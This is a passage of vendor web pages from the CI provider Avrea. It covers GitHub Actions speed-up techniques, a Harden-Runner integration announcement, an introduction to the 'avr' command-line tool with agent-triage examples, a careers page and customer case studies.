restored perfectly. They also embed absolute paths and stat metadata that differ on a fresh VM, so a common outcome is “Cache restored successfully” followed by the tool scanning thousands of files anyway. Check the tool’s own output, not the cache step’s. Avrea’s build cache covers the compiler and task-runner side of this, Turborepo and Nx tasks included, but not a standalone `eslint --cache` outside a task graph. ## 4. Cancel superseded runs with a GitHub Actions concurrency group Every push after the first makes the run in progress pointless, and by default GitHub lets it finish. A `concurrency` group with `cancel-in-progress` kills the superseded run. Scope it to pull request events so a push to your default branch can never stop a deploy halfway through: ``` concurrency: group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }} cancel-in-progress: ${{ github.event_name == 'pull_request' }} ``` That key uses the PR number on pull request runs and `github.ref` everywhere else, with `github.workflow` in front so two different workflows never cancel each other. Don’t build it on `github.head_ref`: that’s empty on push events, so every push collapses into one group. And `cancel-in-progress: false` queues the second run behind the first, so a collision there stalls a deploy. A canceled run doesn’t finish its post-job cache save, so it throws away whatever it warmed. That’s a second reason to keep the default-branch run, usually the one seeding your caches, out of the canceling group. If you use a merge queue, be careful what you cancel: killing a required check on a `merge_group` run fails the merge. What this buys is runner minutes, unless the canceled run was holding capacity something else needed. ## 5. Shard tests with a GitHub Actions matrix strategy A matrix runs the same job several times with different inputs, all at once. For a test suite the input is a shard number. Check what a single job already uses first. Jest defaults to CPUs minus one worker, which is one worker on a 2-vCPU runner, and pytest runs serially until you pass `-n auto`. Whether you’re saturating one machine (`--maxWorkers=100%`, `pytest-xdist`, cargo’s `--test-threads`) also decides whether a bigger runner does anything for you. ``` strategy: matrix: shard: [1, 2, 3, 4] steps: - run: npm test -- --shard=${{ matrix.shard }}/4 ``` Keep that denominator in sync with the shard list. `strategy.job-total` reads it for you, but it counts every job in the matrix, so it only works while `shard` is the single axis. Add an `os:` or `node:` dimension and the denominator becomes the product, shards 1 to 4 run as 1/8 through 4/8, and half the suite silently never runs. Sharding cuts wall clock. It does not cut runner minutes: every shard pays checkout, toolchain setup, install and cache restore again, so the split floors out at that per-job setup tax. If going from four shards to eight saves almost nothing, you’ve hit it. Rebalance numbered shards with timing-based splitting (pytest-split). Legs that aren’t fungible, one package each or Postgres against MySQL, have to be split individually. `fail-fast` also defaults to true, so the first shard to fail cancels its siblings and you get one failure per run to work with. If your shards start in two waves, you’re hitting GitHub’s per-account concurrency cap, and adding shards makes it worse. ## 6. Skip and scope work with `paths` filters and change detection `paths:` filters on the `pull_request` or `push` trigger keep a docs-only change from triggering a full test matrix: ``` on: pull_request: paths: - "src/**" - "package.json" - "package-lock.json" ``` A trigger-level `paths:` filter stops the workflow running at all on a non-matching change, so a required check tied to it never reports and the PR sits blocked forever. Filter inside the workflow. A change-detection job built on `dorny/paths-filter` runs every time, and everything downstream skips on its output while still reporting a status: ``` jobs: changes: runs-on: ubuntu-latest permissions: contents: read pull-requests: read outputs: frontend: ${{ steps.filter.outputs.frontend }} steps: - uses: dorny/paths-filter@v4 id: filter with: filters: | frontend: - 'apps/web/**' build: needs: changes if: needs.changes.outputs.frontend == 'true' required: if: always() needs: [changes, build] steps: - if: contains(needs.*.result, 'failure') || contains(needs.*.result, 'cancelled') run: exit 1 ``` Make that last job the only required check in branch protection. Shard counts and conditional jobs can then change without anyone touching it again. Both the `if: always()` and the explicit failure test are load-bearing: without the second, it passes even when everything it needs failed. Put the condition on the job, not the steps. A step-level `if:` still boots the VM before every step no-ops, six times over on a six-way matrix. Skipping on draft PRs (`if: github.event.pull_request.draft == false`) is the same pattern with a hole in it. The default `pull_request` types are `opened`, `synchronize` and `reopened`. Flipping a draft to ready fires none of them, so the commit merges on the status it earned as a draft, and your expensive job never ran. Add `ready_for_review` to `types:` whenever you add that `if:`. Then ask whether your slowest blocking checks need to be required at all. Run one on PR open rather than every push, which means later commits merge on the status the first earned, or move it to a post-merge tier that reports without blocking. ### Only run what changed, and the four ways it breaks Scoping the build and tests to the diff is the biggest lever here. Resolve the base commit from whichever event fired, and fall back to a full run when there isn’t one: ``` env: BASE_SHA: ${{ github.event.pull_request.base.sha || github.event.merge_group.base_sha || github.event.before }} steps: - uses: actions/checkout@v7 with: fetch-depth: 0 filter: blob:none - run: | if [ -z "$BASE_SHA" ] || [ "$BASE_SHA" = "0000000000000000000000000000000000000000" ] \ || ! git cat-file -e "$BASE_SHA^{commit}" 2>/dev/null; then echo "no usable base, building everything" turbo run build test else turbo run build test --filter="...[$BASE_SHA]" fi ``` `nx affected -t build test --base=$BASE_SHA` and `vitest --changed $BASE_SHA` take the same input. Reach for `github.base_ref` and your merge-queue and post-merge runs scope to nothing, because it’s only set on `pull_request` and `pull_request_target` events. Four things break, all of them quietly: - The dependency graph misses an edge: an undeclared dependency, a runtime import, a generated file. - Coverage drops and nobody notices. - You test source that was never built, while production ships `dist/`. - A scoper that resolves to “nothing affected” still exits 0, so a broken import reads as a green check. Turbo and Nx at least fail loudly on an unresolvable base. `vitest --changed` with `passWithNoTests` on exits green having run nothing. The base commit also has to exist in the clone. `fetch-depth: 0` with `filter: blob:none` gets you the commit graph without the file contents, and you pay that back on demand in later commands that need blobs. If your tooling only needs the one commit, `git fetch --depth=1 origin $BASE_SHA` on top of the default shallow checkout is cheaper. Run scoped and full side by side for a week of PR traffic before you cut over. A speedup that runs fewer tests is indistinguishable from a real speedup until a bug ships. ## 7. Speed up Docker builds in GitHub Actions Docker layers that rebuild every time usually come down to build order. The layer cache invalidates from the first changed instruction onward, so a `COPY . .` above the dependency install rebuilds everything below it whenever any source file changes: ``` COPY package-lock.json package.json ./ RUN --mount=type=cache,target=/root/.npm npm ci COPY . . ``` That cache mount helps inside a single build. It doesn’t travel with `cache-to`, it lives in the builder’s local state, so on an ephemeral runner it starts empty every run. The layer cache does survive, but only if you export it: ``` - uses: docker/setup-buildx-action@v4 - uses: docker/build-push-action@v7 with: context: . cache-from: type=gha cache-to: type=gha,mode=max ``` `mode=max` keeps the intermediate stages of a multi-stage Dockerfile; the default keeps only the layers in the final image. `scope=backend` and `scope=frontend` give two Dockerfiles in one repo separate entries. On Avrea, add `url_v2` to both lines so BuildKit talks to the colocated cache: ``` cache-from: type=gha,url_v2=https://cache.avrea.com/ cache-to: type=gha,url_v2=https://cache.avrea.com/,mode=max ``` That parameter isn’t optional there. Without it, Linux amd64 builds fall back to the slow upstream path and Linux ARM builds fail. The [Docker layer caching docs](https://docs.avrea.com/cache/build-cache/docker/) cover the rest. Add `.git` to your `.dockerignore`. Git metadata changes on every commit, so a `COPY . .` that sweeps it in invalidates the layer even when no source file moved. A `sleep 10` waiting for Postgres costs ten seconds on every run. Give the `services:` block health options (`--health-cmd pg_isready`) and the runner holds your steps until the container answers. ## 8. Stop CI time from creeping back CI time creeps back one commit at a time. Someone adds a dependency without pinning it. A setup step in three concurrent jobs gets more expensive in all three at once. Nothing surfaces until the build is slow again and git blame points nowhere useful. When the same step runs in several jobs at once, make it cheap in every one. Consolidating it into a single upstream job the others wait on turns parallel work into a serial stage. Watch the keys themselves. A `github.sha` or `github.run_id` in a cache key writes a fresh entry every run and, with no `restore-keys` prefix behind it, reads none of them. Anything in a cache key that doesn’t change the output is a scheduled cache wipe. Flake belongs on the same list. A first-pass failure rate of `f` inflates effective time to green by roughly `1/(1-f)` on the runs it hits, so 15% is about 1.2x, and it never shows in a duration chart because failed runs get filtered out. Effective wait is worse than that ratio, because the re-run waits for someone to notice the failure. Avrea tracks it directly: flake rate counts jobs that failed where the same step passed on other runs, over a rolling 30 days, with p50 and p95 durations beside it. Before you delete a step, read the file’s history. A check that looks redundant is often backing a correctness gate or a privilege split. Avrea’s Pipeline Optimization, part of [Avrea AI](https://avrea.com/quality), currently in beta, watches how your workflows run and how they’re configured, surfacing slow jobs, cache misses, oversized runners, Dockerfile inefficiencies and leaked secrets, with a proposed change for each. Each change runs on an Avrea runner first, and if it passes you get a pull request to review. Nothing lands on main without a human. ## How much can you speed up GitHub Actions? There’s no single multiplier: 2.1x from hardware alone on a project that can’t cache, 142x on one that can. Each change moves one of those numbers or the other: | Change | What it cuts | What it depends on | Effort | | --- | --- | --- | --- | | Faster runner hardware | Both | Whether what's left is CPU/IO-bound | One label change (self-hosting is real infra work) | | Persistent build and dependency caching | Both | How cacheable the workload is | Free to configure, automatic on Avrea | | Canceling superseded runs | Runner minutes | How often a second push lands mid-run | Free | | Skipping and scoping unchanged work | Both, if the job was on the critical path | How much of your CI is redundant | Free, scoping needs a rollout | | Matrix sharding | Developer wait, at the cost of runner minutes | How evenly the suite splits | Free, some refactoring | Re-measure after each one. Start with a faster runner, since it’s the cheapest thing to test: duplicate your slowest workflow file, point the copy at a different runner, and run it twice. The first run shows the hardware difference, the second shows the cache. [Sign up at console.avrea.com](https://console.avrea.com) and that test costs nothing: 3,000 minutes a month on 2 vCPU runners are included, and larger sizes draw that down faster. If it’s still slow after all of this, tell us what it’s running: [hello@avrea.com](mailto:hello@avrea.com). ## Frequently asked questions **Why are my GitHub Actions builds so slow?** Usually four things at once: dependencies downloading again every run, jobs running serially that could run in parallel, a cache that restores but doesn’t stop the work, and a runner CPU about half the speed of a dedicated one. Find the job that gates the merge, split it by step category, and fix the biggest share first. A faster runner and a colocated cache are the two fixes that need no workflow rewrite. **How is Avrea’s cache different from GitHub’s `actions/cache`?** Avrea runs four cache layers on the same hardware as the runner; GitHub gives you one general-purpose cache that you point at a directory and key yourself. Three of Avrea’s are on by default: a drop-in version of the GitHub Actions cache, a package registry proxy for nine ecosystems, and a build cache for eleven compiled-artifact tools. The Git LFS cache and the datacenter-local Git mirror are switches you flip per org or repo. **How do I speed up GitHub Actions without changing runners?** Add a `concurrency` group scoped to PR events, cache dependency installs with the `setup-*` actions’ `cache:` input, turn on your linter and type checker’s own cache flags, shard tests across a matrix, and filter unrelated jobs with a change-detection job. All of it works on GitHub-hosted runners, and switching later is one label change. **Do third-party runners use up my GitHub Actions free minutes?** No. GitHub bills minutes for its own hosted runners, so jobs on a third-party or self-hosted runner don’t draw down your included allowance. You pay that provider instead, and Avrea includes 3,000 minutes a month on 2 vCPU runners. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/stepsecurity-harden-runner # StepSecurity Harden-Runner now supports Avrea runners StepSecurity's Harden-Runner now runs on Avrea's Linux and macOS runners and records each workflow step's network connections and process activity. [Blog](https://avrea.com/blog) Product Updates StepSecurity's Harden-Runner now runs on Avrea's Linux and macOS runners and records each workflow step's network connections and process activity. [Markus Koskinen](https://avrea.com/team/markus-koskinen)6 November 2026 Security is a priority at Avrea. Every job runs in its own VM, which is destroyed when the job ends. Natively on Avrea, organizations can limit where their runners connect with the [egress firewall](https://docs.avrea.com/egress-firewall/), send outbound traffic from a [static IP](https://docs.avrea.com/static-ip/), sign in through [SAML SSO](https://docs.avrea.com/saml-sso/) and [export the audit log](https://docs.avrea.com/audit-log-export/) to a bucket they own. Avrea is [ISO 27001:2022 certified and SOC 2 Type II attested](https://docs.avrea.com/security/). The egress firewall shows where each job connected, but not which step or process opened the connection. None of these controls watch the processes a job starts. For that, we’re happy to announce that we have worked together with our friends at [StepSecurity](https://www.stepsecurity.io/) to make [Harden-Runner](https://github.com/step-security/harden-runner) available on Avrea. Harden-Runner is a GitHub Action that installs StepSecurity’s monitoring agent in the job’s VM. The agent records network connections and process activity, which you can inspect by workflow step in the StepSecurity dashboard. StepSecurity found the [tj-actions/changed-files compromise](https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised) (CVE-2025-30066) through Harden-Runner in March 2025. Since then Harden-Runner has flagged malicious network activity from the compromised [axios](https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan) npm package and, in August 2026, from the [ChainDrop npm worm](https://www.stepsecurity.io/blog/chaindrop-npm-worm) in open-source projects’ CI, including CNCF’s Backstage. StepSecurity says it secures [more than 25 million workflow runs a week](https://github.com/step-security/harden-runner#readme), including in open-source projects from Microsoft, Google and CISA. When a dependency or action is compromised, Harden-Runner’s record shows what it did on the runner: where it connected and what it ran. Avrea runner VMs boot our own minimal Linux kernel, built for fast startup. We enabled what the agent needs to run on it. The StepSecurity team added Avrea support to Harden-Runner in [v2.22.3](https://github.com/step-security/harden-runner/releases/tag/v2.22.3), released on October 27. It recognizes Avrea’s Linux and macOS runners on its own, so there’s nothing to turn on in Avrea and the action needs no Avrea-specific settings. ## Enable Harden-Runner on Avrea 1. Get a StepSecurity Enterprise plan or trial. StepSecurity’s free tier covers public repositories on GitHub-hosted runners, and it counts Avrea runners as self-hosted. Installing the StepSecurity GitHub App on your organization starts a 14-day trial; see StepSecurity’s [Enterprise quickstart](https://docs.stepsecurity.io/workspace/getting-started/quickstart-enterprise-tier). 2. Add Harden-Runner as the first step of each Linux or macOS job that runs on Avrea, using v2.22.3 or later: ``` jobs: build: runs-on: avrea-ubuntu-24.04-2-vcpu steps: - uses: step-security/harden-runner@46b06cea07f9e64621fdf066ba77ac6915163d43 # v2.22.3 with: egress-policy: audit # your existing steps follow ``` With `egress-policy: audit`, Harden-Runner records outbound traffic without enforcing an allowlist. StepSecurity’s Global Block List still blocks known malicious destinations. 1. Run the workflow and open the run in the [StepSecurity dashboard](https://app.stepsecurity.io); the Harden-Runner step’s log links straight to it. Check that the job shows network and process events. Connections made by Avrea’s own runner services are listed separately under Infrastructure Events, apart from your steps. The Harden-Runner step passes even when no agent was installed, for example in an organization without Enterprise, so a green step alone doesn’t confirm that monitoring is on. Since v2.22.3, StepSecurity Harden-Runner is available on Avrea’s x86_64 and ARM64 Linux runners and on macOS. It doesn’t support Windows runners from third-party providers, Avrea included. Thanks to the StepSecurity team for turning this around so quickly. ## Explore other articles - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read - 27 Oct 2026 Warm builds. Introducing Avrea persistent disks Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/blog/the-full-avrea-experience-in-your-terminal # Avrea CLI: The full Avrea experience in your terminal, for humans and agents alike avr is Avrea's command-line client. Triage a failing run, watch it live, SSH onto the running VM, manage cache and workflows, all without leaving the terminal. [Blog](https://avrea.com/blog) Product Updates avr is Avrea's command-line client. Triage a failing run, watch it live, SSH onto the running VM, manage cache and workflows, all without leaving the terminal. [Leo Lännenmäki](https://avrea.com/team/leo-lannenmaki)22 June 2026 `avr` is Avrea's command-line client. Triage a failing run, watch it live, SSH onto the running VM, manage cache and workflows, all without leaving the terminal. When a build fails, what happens next is almost always the same. You leave your editor (or agent), find the right browser tab, find the job, scroll the log, and try to find the error. It can take quite some time to get to even look at the actual error. To me, debugging sometimes feels like a chore but finding what to debug always is. [`avr`](https://github.com/avrea-com/cli) is Avrea’s command-line client, and the promise behind it is simple: if you already live in the terminal, you shouldn’t need the aforementioned browser dance. You should be able to access all of Avrea from the command line. The second half of the promise is that the same properties that make a CLI pleasant for a person are the same properties that let an agent drive it well. Let’s see how it looks: ``` avr run list ``` ``` (using repo: avrea-com/monorepo)   TITLE         WORKFLOW            BRANCH   ID          ELAPSED   AGE ✓ freeze CLI…   E2E Provision       tooling  run-1a107…  16m 09s   21m ✓ freeze CLI…   Build and Publish…  tooling  run-1a0cc…   4m 43s   21m ✓ freeze CLI…   secret-project CI   tooling  run-1a0a7…   1m 02s   21m ✗ freeze CLI…   Build and Publish   tooling  run-1a09c…   5m 10s   21m ✓ freeze CLI…   another-project CI  tooling  run-1a093…   1m 20s   21m ``` `avr` reads your git remote, maps it to the repository on Avrea, and scopes the query for you. The listing shows a pull request that has fanned out across a monorepo’s workflows, and one of them, `Build and Publish`, has failed. The rest of this post is split in two. First about how you, a human, can use the CLI. Second part is how the same tool works in the digital hands of an agent. (As a side note, if you do want to get back to your browser, the CLI makes it very easy. `avr` wraps most ids and titles in [OSC 8 hyperlinks](https://github.com/Alhadis/OSC8-Adoption/), so in a modern terminal you can click any `run-…` ID to open it.) ## Logs: triage in place When a run is red, you usually don’t care about the rest of the run, you just want the failed step. With `avr` you can: ``` avr run view run-019ed961a09c7971a4560d1406f24576 --log-failed ``` `run view` on its own shows the run and its jobs. Adding `--log-failed` prints the output of the steps that actually failed, grouped by job: ``` Title       tooling: freeze the CLI binary Conclusion  ✗ failure Workflow    Build and Publish (build-publish.yml) Repository  avrea-com/monorepo JOBS  ✓  lint (44) (12s)                            job-019ed961a133…  ✓  build-binaries (secret-project) (1m 24s)   job-019ed961a1ba…  ✓  test (44) (29s)                            job-019ed961a21b…  [9 more build and scan jobs, all green]  ✗  build-cli-tool (36s)                       job-019ed961a27a…  [3 downstream jobs skipped] === build-cli-tool === --- ✗ Smoke-test tool binary (failure) ---  Run make -C "$BUILD_DIR" cli-tool-smoke  python3 tooling/scripts/smoke_binary.py \    tool-binaries/cli-linux-amd64  FAIL: empty inventory -- the bundled plugins did not run        in the frozen binary  make: *** [Makefile:172: cli-tool-smoke] Error 1 ``` That is the whole point of the tool in one screen. `--log-failed` helps you narrow a complex run to the parts that matter the most. When you want everything, not just the failures, you have at least two options. `avr run logs ` dumps the full log for the run, paged through `less` so you can search it like any other file. And when the job is still going, you can tail it: ``` avr job logs --follow ``` `--follow` streams the log live, grouped by step, with `--level error` and `--step "Run tests"` to filter down to the part you are interested in. Everything `run view` shows you, it also prints out as structured data. The same command, pointed at a pipe: ``` avr run view \ run-019ed961a09c7971a4560d1406f24576 \ --json conclusion,jobs \ -q '.jobs[] | select(.conclusion == "failure") | .job_name' ``` `--json` projects the fields you name and `-q` runs a [jq](https://jqlang.org/) expression over the result. ## Metrics: live and aggregate If a job is slow, or it got OOM-killed, you want to know what the machine was doing. On Avrea every job runs on its own VM, and `avr` shows you that VM’s vitals, either live while the job runs or after the fact. ``` avr job metrics Job    job-019ed961a1bf… Name   build-binaries (secret-project) Status ✓ success (3m 51s, finished 17m ago) VM     4 vCPU, 16 GB RAM Runner avrea-ubuntu-latest-4-vcpu cpu    ███░░░░░░░░░░░░▲░░░░ avg 5% (peak 78%, last 10%) memory █▲░░░░░░░░░░░░░░░░░░ avg 776 MB/16.0 GB (peak 1.1GB,last 785 MB) ``` Each gauge is a sparkline across the job’s lifetime: the average bar, a `▲` at the peak, and the last sample spelled out. The block above is the post-mortem of a finished Go build: a short spike to 78% CPU, and it never got close to the 16 GB memory ceiling this job and VM had. While the job is still running, you can `--watch` it and the gauges update every five seconds: *`avr job metrics --watch`* CPU and memory are the defaults; `--source` adds `filesystem`, `load`, `disk-io`, `disk-ops`, and `network`. You can also zoom out from a single job to a wider view and look at a workflow as a whole. ``` avr workflow view "E2E Provision" E2E Provision avrea-com/monorepo -- .github/workflows/e2e-provision.yml  Runs          1254  Median        16m 08s  P95           39m 36s  Failure rate  21.4%  Flake rate    1.0% JOBS  NAME                         RUNS   MEDIAN      P95   FAILURE   FLAKE  Provision + Smoke Tests       830  14m 19s  28m 29s     25.9%    0.0%  Acquire e2e lease             135   9m 30s  50m 12s     12.8%    0.0%  Rollback                      830   1m 03s   4m 51s      3.9%    0.0%  Acquire e2e lock               81       9s      10s      0.0%    0.0%  Release e2e lock               81       9s      11s      0.0%    0.0% ``` You can select the workflow by Avrea ID, the GitHub numeric ID, the filename, or the display name from the YAML. The window defaults to 30 days; `--since 7d` narrows it. You can zoom out once more and `avr status` gives you the view of the whole org at a glance; recent runs, the slowest workflows, and cache usage. ``` avr status Organization: avrea  (7d) SLOWEST WORKFLOWS    #  NAME                       REPOSITORY             MEDIAN    RUNS    1  E2E Provision              avrea-com/monorepo    21m 18s     151    2  Deploy to Staging          avrea-com/monorepo    13m 38s      40    3  Build and Publish          avrea-com/monorepo     6m 58s     125 WORKFLOWS SLOWING DOWN    #  NAME                            CURRENT   CHANGE    1  secret-project CI                1m 21s   +113%    2  installer CI                        52s    +76%    3  tooling CI                       1m 18s    +28% CACHE  24.9 GB / 25.0 GB (100%)  gha             22.8 GB  (230 entries)  go-build         2.1 GB  (55126 entries) ``` ## SSH: get on the box Logs tell you what happened but sometimes you need to get your hands dirty. The classic (CI) loop for “I cannot reproduce this locally” is to add print debugging, push, wait, read, repeat. On Avrea you can skip all of that, because you can get a shell on the VM running your job: ``` avr job ssh ``` *`avr job ssh `* That drops you onto the actual machine with the same environment, the same checkout, and the same live processes your job is running right now. So you can do the things a dashboard never can: attach to an interesting process with a debugger and read its live stack without stopping it, and list the files it has open and so on. And because `avr` is a Unix tool, it composes. `--print-command` prints the SSH string instead of connecting, so you can pipe it into whatever you already use: ``` avr job ssh --print-command ``` ``` ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 34905 runner@203.0.113.42 ``` You can for example use `scp` to copy files, or point your editor’s remote-SSH at it. The same usability, for agents `avr` tells you what it can do, in a form you can read without a manual. You can ask any list or view command for its schema. This is very useful for agents. ``` avr run list --json '?' Specify one or more comma-separated fields for `--json`:  conclusion  created_at  display_title  duration_seconds  event  head_branch  head_sha  platform_run_id  repository  run_attempt  run_id  run_number  status  triggering_actor  updated_at  workflow  workflow_id ``` Once you (or an agent!) know the fields, you just select the ones you want to output: ``` avr run list --status failure --json run_id,head_branch,conclusion [  {    "run_id": "run-019ed961a09c7971a4560d1406f24576",                 "head_branch": "tooling-smoke",    "conclusion": "failure"  },  {    "run_id": "run-019ed744f0e2732491a7a7d55fe74b00",    "head_branch": "cli-rework",    "conclusion": "failure"  } ] ``` Even without `--json`, the CLI drops the color and box-drawing for clean tab-separated rows when need be so `avr run list | awk '{print $1}'` works with no flags at all. Pipe a `watch` command and it switches to newline-delimited JSON events, so `avr run watch --ndjson | jq -c .` is a live event stream you can react to: ``` {"event":"job_completed","run_id":"run-019ed989…", "job_name": "Acquire lease","state":"completed","conclusion":"success"} ‍ ``` ``` {"event":"job_started","run_id":"run-019ed989…", "job_name": "Smoke Tests","state":"in_progress","conclusion":null} ``` A self-describing schema, field projection, built-in jq, pipe-aware output, and deterministic exit codes are exactly as useful to an agent driving the CLI as they are to the engineer who pipes it into `awk`. ## Agentic debugging One final example: ask Claude to debug your workflows with `avr`: ``` claude -p "my latest run on demo-triage failed. \ triage it, fix it, push the fix, and explain the \ issue and the fix." \ --allowedTools 'Bash(avr:*)' 'Bash(git:*)' 'Edit' ``` *Agent in action* Instead of a one-off prompt you can also make using `avr` into a skill. And by you I mean you can ask your agent to write the skill for you. Something like this: ``` --- name: ci-triage description: >- Triage a failing run on Avrea with the `avr` CLI.  Use when a run is red and you need the failing job,   the failing step, the cause, and a next step. --- # CI triage with `avr` 1. Find the failure. `avr run list --status failure --json run_id,display_title,head_branch`   returns recent failed runs as JSON. Take the most recent `run_id`. 2. Read only what broke. `avr run view --log-failed` prints just the   failed steps, grouped by job. This is the primary signal. 3. Reason over jobs when you need structure:   `avr run view --json '*' -q '.jobs[] | select(.conclusion=="failure")'`. 4. For a recurring or flaky failure, check the workflow's history:   `avr workflow view ` for per-job failure rate and p95. 5. If the cause is environmental, not in the logs, inspect the VM:   `avr job metrics `, or `avr job ssh --print-command`. 6. Report the failing job, the failing step, the error, and a concrete next step.   Exit code 4 from any command means auth is required: surface it, do not retry. ``` Prompt or skill, agents are very good at interacting with Avrea through `avr` and they can be very helpful in inspecting and debugging issues with your workflows. ## Try it `avr` is open source and on [PyPI](https://pypi.org/project/avr-cli/), [Homebrew](https://github.com/avrea-com/homebrew-tap/), and [GitHub](https://github.com/avrea-com/cli): ``` brew install avrea-com/tap/avr # or: pip install avr-cli avr auth login avr status ``` Runs and jobs are where you will spend most of your time, but with `avr` you can also manage cache, workflows, firewall and more. The full Avrea experience usable by humans and agents alike. Avrea is available today, and [getting started](https://console.avrea.com/) takes only a few minutes. Eligible organizations can try Avrea with a monthly credit equivalent to 3,000 minutes on 2-vCPU Linux x64 runners. See the [billing guide](https://docs.avrea.com/billing/) for eligibility and usage limits. ## Explore other articles - 6 Nov 2026 StepSecurity Harden-Runner now supports Avrea runners Read - 4 Nov 2026 Avrea product update, October 2026 Read - 3 Nov 2026 Avrea is the fastest GitHub Actions runner in RunsOn's benchmark Read ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/careers # Careers at Avrea Build the future of CI with us. Real ownership, technical depth, and a team that builds without chaos. Build the future of CI with us. Real ownership, technical depth, and a team that builds without chaos. If you want your work in the hands of engineers the same week you ship it, this is that kind of team. ## Why work at Avrea? We know the frustration behind the scenes: Broken builds. Slow pipelines. Late nights spent waiting for CI. Momentum lost, not because of the team, but because the tools couldn’t keep up. As AI accelerates software creation, this problem only gets worse. More code. More changes. More to test, validate, and ship. But the systems responsible for delivering software were built for a slower era. We believe developers deserve better. Solving real problems for real developers CI is not a “nice to have”, it’s critical infrastructure. Every improvement we ship saves developers time, reduces frustration, and directly impacts how software gets built around the world. Your work will be used every day by engineers who care about quality and speed. We're a lean, experienced team **building the next-gen CI/CD platform for software delivery**. See open positions ### Build without chaos We believe clear performance feels calm. That belief shapes both our product and our culture. We optimize for focus, clarity, and thoughtful execution. ### Real ownership Avrea is intentionally lean. That means: - You own meaningful parts of the system - Your decisions matter - You see your work reach production quickly ### Technical depth, not busywork You'll work on: - High-performance distributed systems - Developer tooling and UX - CI infrastructure at scale - Observability and debugging workflows - Applied AI in real production systems We don't chase trends. We build things that last. ## Our values ### True openness We believe transparency and honesty elevate everything we do. We build trust through clarity, candor, and respect. ### Customer obsessed We build for developers. We focus on real problems and measure success by the value we create for our users. ### Stay curious We challenge assumptions and move fast. We believe speed is a competitive advantage, and curiosity is how we win. ### Enjoy the journey We take our work seriously, but not ourselves. We believe great teams build great products when they enjoy the process. ## Open positions No listed roles right now. If the work above sounds like you, tell us what you would build. [Open application](https://avrea.com/open-positions/open-application) --- Source: https://avrea.com/case-studies/focal # Focal builds run 2x faster with Avrea Focal ran their Turborepo CI 2x faster on Avrea than on GitHub Actions with Vercel Remote Cache, and switched their main branch over the next day. [Case studies](https://avrea.com/case-studies) Focal, a collaboration platform for creative and marketing teams, ran their Turborepo CI 2x faster on Avrea than on GitHub Actions with Vercel Remote Cache, and switched their main branch over the next day. ## Results snapshot - 2x faster CI than GitHub-hosted runners, on a Turborepo monorepo that was running Vercel Remote Cache - Built-in Turborepo Remote Cache on Avrea, with no extra configuration to manage - Ran Avrea side by side with GitHub for a day and switched over to Avrea on day two - Migration: one line in the workflow file (runs-on: avrea-ubuntu-latest-4-vcpu) ## About Focal Focal is building a collaboration platform for creative and marketing teams. Focal allows scaling creative operations with AI, not headcount. The product gives teams guided, channel-aware workflows for producing creative assets, with placement mockups and validation built into each step. The engineering team is small and senior, shipping product fast on a Turborepo monorepo running pnpm and Node.js. The founding team comes from Smartly and Focal serves some of the most demanding customers, such as Supercell and Wolt. They know what good looks like and they need a CI system they can trust to be fast and reliable. ## Before Focal’s CI ran on GitHub-hosted runners with Vercel Remote Cache wired into Turborepo. That’s the standard high-performance setup for a Turborepo team that wants to stay on GitHub Actions: cache hits on unchanged packages, parallel task execution, and a remote store sitting between runs. The team had already done that optimization work themselves and they were looking for a way to speed up CI even more. ## After Focal heard about Avrea through a recommendation from a trusted engineer in their network. To battle-test Avrea, Focal duplicated their existing CI workflow and changed one line: `runs-on: avrea-ubuntu-latest`. The Avrea pipeline ran alongside the GitHub-hosted one for direct comparison. Avrea ran the same workflow 2x faster than GitHub-hosted runners, with Vercel Remote Cache still active on the GitHub side. Avrea’s runner image also exposes a Turborepo Remote Cache endpoint via standard environment variables (TURBO_API, TURBO_TOKEN, TURBO_TEAM), so Focal didn’t need to keep a separate cache vendor running. The same Turborepo workflow ran 2x faster on Avrea with the same config, same dependencies & packages, just a different runner. They were also able to remove Vercel Remote Cache. Avrea’s runner image handles Turborepo caching directly, so that’s one external dependency Focal doesn’t need to keep configured. [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) ## More teams. More results. - Zero Zero's API deploys run 2x faster on Avrea Read the story - Teamspective Teamspective cut median CI time from 10 to 4.5 minutes with Avrea Read the story - GitHits GitHits migrated from Blacksmith to Avrea and cut test feedback time 27% Read the story ## Start shipping with Avrea [Start free](https://console.avrea.com/) [Talk to an engineer](https://avrea.com/demo) --- Source: https://avrea.com/case-studies/githits # GitHits migrated from Blacksmith to Avrea and cut test feedback time 27% GitHits moved its CI from Blacksmith to Avrea after recurring runner queuing and slow runs. Test feedback is 27% faster even as the test suite grew 22%. [Case studies](https://avrea.com/case-studies) GitHits moved its CI from Blacksmith to Avrea after recurring runner queuing and slow runs. Test feedback is 27% faster even as the test suite grew 22%, Docker build times turned predictable and jobs get picked up in 16 seconds. ## Results snapshot - Test feedback 27% faster at the median and 34% faster at p90, on a test suite that grew 22% - Docker build times became predictable: 73% of builds finish in 1–2.5 minutes, up from 45% - Runner pickup in 16 seconds (median) - Production CI and release builds migrated within hours ## About GitHits GitHits gives AI coding agents access to open source code and packages: real implementation examples, code search and exact line reads without cloning, package inspection (dependencies, vulnerabilities, changelogs, upgrade changes), and docs. It builds a version-aware index of a repository on demand, usually in 10-20 seconds. Works over MCP with Claude, Codex, Cursor, and the rest. Industry Developer tools Stack Elixir and Phoenix backend, Docker builds, GitHub Actions, ARM release builds ## When agents write the code, CI sets the pace GitHits is built for agent-driven development, and the team develops that way too: agents and humans both push code, and nothing merges without a green CI run. “Fast CI pipelines are critical for the overall agentic development feedback loop,” says Juha Litola, co-founder and Chief Architect of GitHits. “The faster humans and agents get feedback that the code works on a standard setup, the faster we are able to iterate and deploy.” GitHits was a happy Blacksmith customer, but 